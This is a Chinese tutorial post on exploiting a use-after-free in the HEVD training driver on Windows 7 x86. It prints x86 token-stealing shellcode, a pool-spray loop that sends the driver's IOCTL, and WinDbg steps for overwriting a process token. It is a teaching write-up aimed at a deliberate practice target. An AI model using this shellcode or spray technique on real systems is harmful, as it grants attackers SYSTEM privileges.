查看原文
其他

Windows 内核系列一: UAF基础

wjllz 看雪学院 2019-05-26

0x00: 前言


这是UAF系列的第一篇, 三篇的主要内容如下:

[+] 第一篇: HEVD给的样例熟悉UAF
[+] 第二篇: CVE-2016-0213的总结
[+] 第三篇: windows 10 X64下的UAF


关于第三篇的内容我还没有决定好,最近在研究CVE-2018-8410,如果分析的出来的话, 第三篇的内容我会给出CVE-2018-8410的分析报告;如果失败的话,我会挑选一下windows 10下的X64的UAF进行分析。由于win10加了很多缓解措施,所以那会是一个相当有趣的过程。


博客的内容我是倒着推的,因为我喜欢有目的性的工作,所以决定在最后再进行漏洞原理的分析,而原理的探讨主要是通过对补丁的探讨而完成。在学习的过程中, 我给出了实验相应步骤的动态图, 希望能对您有所帮助。



0x01: 实验环境的搭建


由于是系列的第一节,所以讲一下环境的搭建,在经过漫长的犹豫之后,我决定把环境的搭建制作成为一个gif图,因为觉得动态的过程更容易理解一些。

Tips: 本次环境的搭建环境. 仅在win7上面适用. win10(win 8 以后) 下因为驱动签名的问题会有一些小小的不同, 后面会给出win10的教程.


(此处为动图,由于文件过大,无法上传,可点击阅读原文前往原文查看)


下面是对环境搭建步骤详解。


  • 1.1 环境要求


[+] 配置支持

调试宿主机: windows 10 X64
目标机子: windows 7 sp1 x86
调试器: windbgx.exe
辅助工具: virtuakD


  • 1.2 第一步


把virtualKD解压到宿主调试机C:\SoftWare,将宿主机C:/software/target目录复制到target机子C:\下,最终结果如下。


  • 1.3 第二步


打开target机器下的C:\target\vminstall.exe 点击yes, 电脑重启。


  • 1.4 第三步


设置Vmcommon的调试器路径


  • 1.5 第四步


开始调试。



0x02: 漏洞利用


  • 2.1 思路详解


在我自己的学习过程中,我喜欢把自己学的东西切成几大块, 假设为ABCD四个大块,在B无法理解的情况下,我能够去弄明白ACD就好。这样即使无法完成此次学习,我也能保证能在此次的学习过程中得到有用的技能。

 

让我们来假设一下作为一个对UAF不理解的小白,我们会把漏洞的利用过程切为哪几个部分。

[+] 编写shellcode(最终目的是为了运行shellcode)      

[+] 分析漏洞                      

[+] 根据漏洞原理, 伪造能够利用的数据(最终的结果是可以利用shellcode).

[+] 触发漏洞

[+] 运行cmd, 验证提权是否成功.


在进行上面的分析之后,我们可以先做一些比较轻松的部分。

[+] 运行cmd进行验证.

[+] 编写Shellcode


  • 2.2 运行cmd进行验证


我相信有部分开始做内核的朋友可能会比较好奇为什么最后运行cmd, 输入whoami之后,就能证明自己提权成功了,很不幸的,这是一段漫长的故事.。


其实也还是很简单的,原理如下:

[+] 我们运行了exp, exp记作进程A

[+] EXP里面创建一个cmd子进程, 记作子进程B

[+] 子进程会默认继承父进程的权限

[+] 父进程提权成功, 可以在子进程体现.(类似于老子帅不帅可以从儿子那里得到相应的推测)


    • 2.2.1 编写创建cmd子进程程序.


这一部分的代码感谢小刀师傅,来源于他的博客和github。在他的博客和github上面我学习到了很多的有用的东西。

//创建cmd子进程的代码.

static

VOID xxCreateCmdLineProcess(VOID)

{

   STARTUPINFO si = { sizeof(si) };

   PROCESS_INFORMATION pi = { 0 };

   si.dwFlags = STARTF_USESHOWWINDOW;

   si.wShowWindow = SW_SHOW;

   WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };

   BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); // 创建cmd子进程

   if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);

}


很多时候,我觉得有些细节其实是可以不用太在意的。你可以把它当作拖油瓶,只是附带的产物。比如上面的si的赋值之类的,让我们关注一下重点函数。


    • 2.2.2 CreateProcessW函数


CreateProcessW创建一个子进程,在MSDN上面你可以的到详细的解释,我们列出重要参数的详细解释:

[+] wzFilePath --> 创建的进程名称, cmd


    • 2.2.2 调用cmd子进程


我们在main函数当中进行调用,main函数现在的代码如下:

// main函数的代码.

int main()

{

   xxCreateCmdLineProcess();    //调用cmd

   return 0;

}


    • 2.2.3 运行的结果


运行的结果如下图:

 

我们发现我们现在的提权没有成功,这是肯定的,因为我们并没有进行漏洞的利用。


  • 2.3 编写shellcode的代码


作为一个有灵魂的内核选手,这个地方的shellcode我们当然采用汇编编写。 编写之前,我们继续对我们所学的东西进行分块。

[+] ShellCode目的: 进行提权

[+] 提权手段: 将system进程的Token赋值给cmd

[+] 提权的汇编步骤:

   ==> 找到system的Token, 记作TokenSys

   ==> 找到cmd的Token. 记作TokenCmd

   ==> 实现TokenCmd = TokenSys


    • 2.3.1 ShellCode提权方法的验证


okok,作为一个内核选手,我们深知调试器永远不会骗人,所以我们可以通过调试器来帮助我们验证一下我们的思路是否正确。


      • 2.3.1.0 找到System进程的TokenSys


运行如下命令:

!dml_proc


我们能得到关于system如下的结果:

kd> !dml_proc

   Address  PID  Image file name

   857bd920 4    System        

   86357a10 120  smss.exe      

   86385030 178  csrss.exe    

   86be3b90 1ac  wininit.exe  

   863e4b68 1b4  csrss.exe    

   873f1d40 1d8  winlogon.exe  

   ...


解释:

PID:0004 --> system在win7下PID永远为4

PROCESS: 857bd920 -- 进程起始的地址.


接着我们运行如下的命令,查看system进程的Token。

kd> dt nt!_EX_FAST_REF 857bd920 +f8

       +0x000 Object           : 0x8940126f Void

       +0x000 RefCnt           : 0y111

       +0x000 Value            : 0x8940126f -- value是Token的值.

      • 2.3.1.1 找到cmd进程的TokenCmd


与找到TokenSys的方法类似,在虚拟机里面运行一个cmd。我们可以通过相同的方式找到TokenCmd:

kd> dt nt!_EX_FAST_REF 871db030 +f8

   +0x000 Object           : 0x967ee085 Void

   +0x000 RefCnt           : 0y101

   +0x000 Value            : 0x967ee085 -- value是Token的值.

      • 2.3.1.2 进行TokenCmd = TokenSys.


这一部分,我们采用调试器辅助完成。Token存放在进程偏移f8处,我们可以把TokenCmd按照如下的命令重新赋值:

ed 871db030+f8(TokenCmd的存放地址) 8940126f(TokenSys)


此时我们再对cmd的Token进行解析,发现Token的值已经和Sytem的Token出奇一致:

kd> dt nt!_EX_FAST_REF 871db030 +f8

   +0x000 Object           : 0x8940126f Void

   +0x000 RefCnt           : 0y111

   +0x000 Value            : 0x8940126f


此时我们运行cmd的whoami, 进行验证. 这个实验过程动态图如下:

(此处为2.3.1动图,由于文件过大,无法上传,可点击阅读原文前往原文查看)


    • 2.3.2 提权的汇编实现


汇编实现的整体代码如下,关键点我会给出注释,如果你需要更详细的解释, 你可以在这里找到答案。(Tips: 汇编代码只是对我们上面手工做的过程的一次模仿,别畏惧它)

// 提权的汇编代码.
void ShellCode()
{
   _asm
   {
       nop
       nop
       nop
       nop
       pushad
       mov eax,fs:[124h]
       mov eax, [eax + 0x50]    // 找到_EPROOCESS
       mov ecx, eax
       mov edx, 4    // edx = system PID

       // 循环是为了获取system的_EPROCESS
   find_sys_pid:
       mov eax, [eax + 0xb8]
       sub eax, 0xb8    // 链表遍历
       cmp [eax + 0xb4], edx    // 根据PID判断是否为SYSTEM
       jnz find_sys_pid

       // 替换Token
       mov edx, [eax + 0xf8]
       mov [ecx + 0xf8], edx
       popad
       ret
   }
}


一点小Tips:

[+] ShellCode的原理其实不用太了解,大多数时候你可以把它当作stdio.h提供给你的printf函数,直接用就好

[+] 堆栈的平衡建议采用调试解决。


    • 2.3.3 ShellCode的有效性的验证


调试器无所不能(但是不能帮我找到女朋友...),我们想要运行shellcode,如何运行???

 

在阅读了源码之后,我们发现了一个幸福的代码片段:

if (g_UseAfterFreeObject->Callback) {

           g_UseAfterFreeObject->Callback();

       }


g_UseAfterFreeObject是一个全局变量,他的定义如下:

PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;

typedef struct _USE_AFTER_FREE {

   FunctionPointer Callback;

   CHAR Buffer[0x54];

} USE_AFTER_FREE, *PUSE_AFTER_FREE;


有趣,如果我们能够篡改他的函数指针指向ShellCode地址,那么我们就能在内核当中调用我们的shellcode。接下来做一个小小的演示:

 

Tips:

这一部分有些小小的东西需要后面的东西. 请关注篡改函数指针. 其他的内容不会的假装自己会, 看了后面的再来理解前面的.


在未篡改之前,g_UseAfterFreeObject的结构长这样:

dt HEVD!g_UseAfterFreeObject

0x877deb58

  +0x000 Callback         : 0x87815558     void  +ffffffff87815558

  +0x004 Buffer           : [84]


在进行了一堆骚操作之后(我们后面的主要内容就是为了讲解这个地方的骚操作),g_UseAfterFreeObject的结构长这样:

dt HEVD!g_UseAfterFreeObject

0x877deb58

  +0x000 Callback         : 0x001f1000     void  UAF_AFTER_FREE_EXP!ShellCode+0

  +0x004 Buffer           : [84]  "


这样的话, 我们就能够运行shellcode了, 提权成功如图:


  • 2.4 执行一堆骚操作


我们前面说过,后面的内容主要是一堆骚操作。来执行替换g_UseAfterFree函数指针的功能。


    • 2.4.1 伪造能够利用的数据


USE AFTER FREE,从这个名字来看是指在FREE状态后依然能够被使用,有趣有趣,那我们来关注一下FREE状态之后如何使用。

 

在我们从小到大的过程中,我们知道POOL是动态分配的,就像你永远不知道明天的巧克力是什么味道一样(当然作为一个单身狗,明天也是没有巧克力的,太凄凉了)。你永远也不知道下一块分配的POOL在那个位置。

 

Wait,我们真的不知道吗??? 如果你有兴趣你可以在此处的paper找到相应的POOL分配和释放算法的相关解释,在这里我直接给出结论。

[+] 假设想要被分配的堆的大小是258. 操作系统会去选取最适合258(>=)的空闲堆位置来存放他.


我们来看一下我们的UAF(假设已经成功)POOL的大小,我们申请一个和他一模一样的堆,是不是有一定的概率使我们分配后的堆的刚好是这个地方呢,答案是肯定的。 但是有一个问题,一定的概率,我们希望我们的利用代码能够更加的稳定,假设此时操作一共有X个大小的空闲区域,我们的概率是1/X,分配两个是2/X,不断增加。

[+] n/X -- n是我们请求分配的POOL个数.


最终我们的代码如下:

// 构造美好的数据

PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));

fakeG_UseAfterFree->countinter = ShellCode;

RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');



// 喷射

for (int i = 0; i < 5000; i++)

{

   // 此处的函数用于Pool的分配.

   DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);

}


    • 2.4.2 漏洞成因分析(为什么在那个时候我们处于Free状态)


我们到这里其实利用就已经做完了,但是永远别忘记一件事,这只是一个练习,与真正的漏洞分析差的远。所以我们学的应该不是教程,而是这一段在实践当中可以帮助我们做些什么。

 

漏洞成因的分析在我实践的过程中,有两种手段:

[+] 查阅漏洞发现者的给出的相关资料

[+] 查阅其他人做的分析笔记

[+] 阅读POC

[+] 补丁比对


这个地方我们来模拟补丁比对, 实战当中你可以使用bindiff,为了让接下来的过程更加的简单,我们采用源码分析。

#ifdef SECURE

       // Secure Note: This is secure because the developer is setting

       // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed

       ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);



       g_UseAfterFreeObject = NULL;

#else

       // Vulnerability Note: This is a vanilla Use After Free vulnerability

       // because the developer is not setting 'g_UseAfterFreeObject' to NULL.

       // Hence, g_UseAfterFreeObject still holds the reference to stale pointer

       // (dangling pointer)

       ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

#endif


在这个地方, 安全与不安全的主要理由是g_UseAfterFreeObject最后是否为NULL。

漏洞点: 如果不把它变为NULL, 后续可以继续应用.


这个地方有一个小小的问题,在下一节我们给出我们的套路。



0x3 总结.


  • 3.1 补丁的探讨


我们来对安全的版本进行一点小小的讨论:

[+] g_UseAfterFreeObject = NULL

[+] if(g_UseAfterFreeObject->CallBack) ==> if(NULL->CallBack) ==> if(0->CallBack)


随着思路的推理,我们的嘴角逐渐浮现出笑容, windows 7 下, 我们可以对申请0地址,并且填充相应的内容。假设shellcode地址为0x00410000,我们通过对0地址进行填充内容。

00000000: 00410000 --> 指向shellcode地址


我们也能顺利执行我们的shellcode. ==> 此处引发了一个空指针解引用漏洞。

 

OK, 我们验证了这是一个不安全的补丁,更安全的补丁应该类似于这样:

if(g_UseAfterFreeObject != NULL)

{

   if(g_UseAfterFreeObject->CallBack)

   {

       g_UseAfterFreeObject->CallBack();

   }

}


很遗憾的,当我发现这个的时候,发现创作者已经做了这样一个检测......


  • 3.2 关于挖洞的探讨


在进行这次学习之后,我有一个小小的猜测,是否存在可能性,安全人员在进行uaf漏洞补丁的时候,忽视了空指针解引用呢。

 

自己思考的比较简陋的方式:

[+] 补充最新的补丁.

[+] 阅读更新报告, 确定漏洞集

[+] 编写IDAPy, 完成如下的功能.

   ==> 检索汇编代码. 确定搜选补丁函数当中的CMP个数.(如果小于2, 可以做重点分析)

   ==> 检索汇编代码, 确定相邻8 byte - 16byte范围(这个范围需要具体研究.). 是否同时存在两个CMP


  • 3.3 UAF漏洞利用的套路总结


[+] 原理: 分配的POOL为赋值为NULL, 导致后面可用.

[+] 触发漏洞

[+] 伪造数据(依赖于伪造数据实现shellcode运行)

[+] 调用相关的函数进行堆喷射

[+] CMD验证


  • 0x4 相关链接



0x4 相关链接


  • sakura师傅的博客: http://eternalsakura13.com/


  • 小刀师傅的博客: https://xiaodaozhi.com/


  • 本文EXP地址:https://github.com/redogwu(后面更新... 嘤嘤嘤)


  • 一个大大的博客:https://rootkits.xyz/


  • shellcode编写:https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/




- End -


看雪ID:wjllz                 

https://bbs.pediy.com/user-756587.htm



本文由看雪论坛 wjllz 原创

转载请注明来自看雪社区






热门技术文章推荐:






戳原文,看看大家都是怎么说的?

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存